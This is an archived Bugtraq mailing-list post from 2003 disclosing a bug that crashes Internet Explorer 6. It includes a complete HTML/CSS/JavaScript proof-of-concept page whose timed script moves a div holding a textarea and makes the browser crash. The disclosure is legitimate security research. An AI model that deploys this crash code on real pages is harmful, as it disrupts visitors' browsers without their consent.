[32129] in bugtraq
IE6 CSS-Crash
daemon@ATHENA.MIT.EDU (Andreas Boeckler)
Wed Oct 22 12:54:23 2003
From: Andreas Boeckler <abo@netlands.de>
To: bugtraq@securityfocus.com
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-XKMLr4D4B4sPokVu6MX2"
Message-Id: <1066826686.3696.32.camel@falcon>
Mime-Version: 1.0
Date: Wed, 22 Oct 2003 14:44:47 +0200
--=-XKMLr4D4B4sPokVu6MX2
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Hi,
the following HTML/JS/CSS-Code crashes IE6 immediately through a
combination of:
1. textarea in table in div
2. css:overflow-y:hidden
3. changing the scrollbar-base-color
4. moving the div
I think IE tries to move the native OS-scrollbar-widget, which is not in
place.
If point 3 is removed, the page works fine.
---snip---
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>CRASH-IE</title>
<style type=3D"text/css">
html, body {
overflow-y: hidden;=20
scrollbar-base-color: '#330066';=20
}
=20
.crash {
position:absolute;
left:200px;
top:200px;
width:200px;
}
</style>
<script type=3D"text/javascript">
function galgenfrist() {
window.setTimeout('crashIE();',1000);
}
function crashIE() {
var moveNode =3D document.getElementById("move");
if(moveNode) {
moveNode.style.top =3D "100px";=20
moveNode.style.left =3D "200px";
}
}
</script>
</head>
<body onload=3D"galgenfrist();">
<h1>CRASH-IE</h1>
<div id=3D"move" class=3D"crash">
<table>
<tbody>
<tr>
<td>
<textarea></textarea>
</td>
</tr>
</tbody>
</table>
</div>
</body>
</html>
---snap---
--=20
Andreas Boeckler <abo@netlands.de>
netlands edv consulting GmbH
--=-XKMLr4D4B4sPokVu6MX2
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Dies ist ein digital signierter Nachrichtenteil
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)
iD8DBQA/lnu9q01ptdSpY7oRAuC8AJ9q+tAAopKLeBMwuAHAhdrRfuY32QCgr2Vk
11nhaQSFnVoomFQDS67ot0s=
=w1Od
-----END PGP SIGNATURE-----
--=-XKMLr4D4B4sPokVu6MX2--